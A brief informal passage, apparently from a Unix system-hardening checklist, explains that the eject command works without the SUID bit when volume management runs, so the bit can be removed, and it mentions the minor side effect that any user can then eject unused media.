- Ejects works SUID root and as well w/o SUID bit, IF volume managment is
- running. So if you run volume management you can remove the SUID bit on
- /bin/eject.... one less SUID proggie to worry about. Any user can eject
- media if it's not currently being used... I could imagine possible
- annoyances with this... some one ejecting your floppy while your home
- and having to drive back to the office to put the damn thing back in.
